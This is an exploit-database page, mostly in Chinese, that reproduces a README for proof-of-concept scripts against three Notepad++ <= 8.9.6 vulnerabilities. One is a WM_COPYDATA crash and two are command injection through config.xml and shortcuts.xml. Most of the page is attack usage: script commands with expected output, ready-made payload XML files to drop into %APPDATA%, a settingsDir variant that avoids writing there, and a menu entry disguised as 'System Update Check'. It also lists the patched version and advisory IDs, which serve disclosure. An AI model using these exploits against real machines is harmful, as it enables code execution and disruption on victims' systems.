Sploitus

Exploit for Notepad-8.9.6-PoC

kitploit · 2026-09-03

Exploit Code

MARKDOWN185 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ATIILLA-NOTEPAD-8.9.6-POC
# Notepad++ PoCs

_CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800_

三个针对 Notepad++ <= 8.9.6 版本的漏洞概念验证脚本,已在 v8.9.6.1 (2026-05-26) 中修复。

![CVE-2026-48778 demo - File → Open Containing Folder → cmd triggers RCE](https://assets.kitploit.com/production/public/readmes/22926/7c87c346b06a5bce1c5cba70bfe94b677475ad6c23cd9f8b58c876b284c21a27.gif)

* * *

## 漏洞信息

CVE| 类型| CVSS| 影响  
---|---|---|---  
CVE-2026-48770| 通过 `WM_COPYDATA` 越界读取| 5.0| 拒绝服务/崩溃  
CVE-2026-48778| 通过 `config.xml` 操作系统命令注入| 7.8| 远程代码执行  
CVE-2026-48800| 通过 `shortcuts.xml` 操作系统命令注入| 7.8| 远程代码执行  
  
* * *

## 需求

  * Windows 10/11 (建议使用虚拟机)
  * 安装了 Notepad++ **< = 8.9.6** 且**未更新**
  * Python 3.x (用于 `.py` 脚本)
  * PowerShell (内置,用于 `.ps1`)



* * *

## 文件结构

root@kitploit:~
    
    
    .
    ├── README.md
    ├── poc_CVE-2026-48770.py                    # 越界读取崩溃 (ctypes)
    ├── poc_CVE-2026-48778.py                    # 通过 config.xml 远程代码执行
    ├── poc_CVE-2026-48800.py                    # 通过 shortcuts.xml 远程代码执行
    └── payloads/
        ├── config.xml                           # 即用型载荷 (CVE-2026-48778)
        ├── shortcuts.xml                        # 即用型载荷 (CVE-2026-48800)
        └── poc_CVE-2026-48770.ps1               # 越界读取崩溃 (PowerShell)
    

* * *

## CVE-2026-48770 - 通过 WM_COPYDATA 越界读取

同一 Windows 会话中的本地进程发送一个精心构造的 `WM_COPYDATA` 消息(`dwData=3`),且不含 NUL 终止符。处理程序读取超出缓冲区边界,产生访问冲突(0xc0000005),导致 Notepad++ 崩溃。

**触发条件:** 必须已打开 Notepad++。

**PowerShell:**

root@kitploit:~
    
    
    # From payloads\
    powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
    

**Python:**

root@kitploit:~
    
    
    python poc_CVE-2026-48770.py
    

**预期输出:**

root@kitploit:~
    
    
    [+] Found Notepad++ HWND: 0x000A08B4
    [*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
    [+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
    

Notepad++ 窗口消失,可能触发 Windows 错误报告 (WER)。

* * *

## CVE-2026-48778 - 通过 config.xml 远程代码执行

启动时读取 `%APPDATA%\Notepad++\config.xml`。`<GUIConfig name="commandLineInterpreter">` 的值直接传递给 `ShellExecute()` 且未经校验。将其替换为任意可执行文件后,当用户点击**文件 → 打开所在文件夹 → cmd** 时即可实现远程代码执行。

### 方法 A - Python 脚本 (推荐)

root@kitploit:~
    
    
    # 注入 (自动备份原始文件)
    python poc_CVE-2026-48778.py --mode direct --payload calc.exe
    
    # 触发:打开 Notepad++ -> 文件 -> 打开所在文件夹 -> cmd
    # 此时启动的是 calc.exe 而非 cmd.exe
    
    # 恢复
    python poc_CVE-2026-48778.py --mode direct --restore
    

### 方法 B - 替换 XML 文件

root@kitploit:~
    
    
    copy payloads\config.xml %APPDATA%\Notepad++\config.xml
    # 打开 Notepad++ -> 文件 -> 打开所在文件夹 -> cmd
    

### 方法 C - 使用 settingsDir 参数 (无需写入 AppData)

root@kitploit:~
    
    
    python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
    # 输出 notepad++.exe -settingsDir= 启动命令
    # 触发:文件 -> 打开所在文件夹 -> cmd
    

* * *

## CVE-2026-48800 - 通过 shortcuts.xml 远程代码执行

启动时读取 `%APPDATA%\Notepad++\shortcuts.xml`。`<UserDefinedCommands>` 下的 `<Command>` 条目会被添加到**运行** 菜单,并直接传递给 `ShellExecute()` 且未经校验。攻击者控制的条目在点击时执行。

### 方法 A - Python 脚本 (推荐)

root@kitploit:~
    
    
    # 注入 (自动备份原始文件)
    python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
    
    # 触发:关闭并重新打开 Notepad++ -> 运行菜单 -> "System Update Check"
    # 启动 calc.exe
    
    # 恢复
    python poc_CVE-2026-48800.py --mode direct --restore
    

### 方法 B - 替换 XML 文件

root@kitploit:~
    
    
    copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
    # 重启 Notepad++ -> 运行菜单 -> "System Update Check"
    

### 方法 C - 使用 settingsDir 参数 (无需写入 AppData)

root@kitploit:~
    
    
    python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
    # 输出 notepad++.exe -settingsDir= 启动命令
    # 触发:运行菜单 -> "System Update Check"
    

* * *

## 缓解措施

**更新 Notepad++ 到 v8.9.6.1 或更高版本。**  
下载:https://notepad-plus-plus.org/downloads/

* * *

## 安全公告参考

CVE| 安全公告  
---|---  
CVE-2026-48770| GHSA-r39g-3mcw-xcg2  
CVE-2026-48778| GHSA-7hm3-wp5q-ccv9  
CVE-2026-48800| GHSA-3x3f-3j39-pj3v  
  
* * *

> 仅供研究和授权测试使用。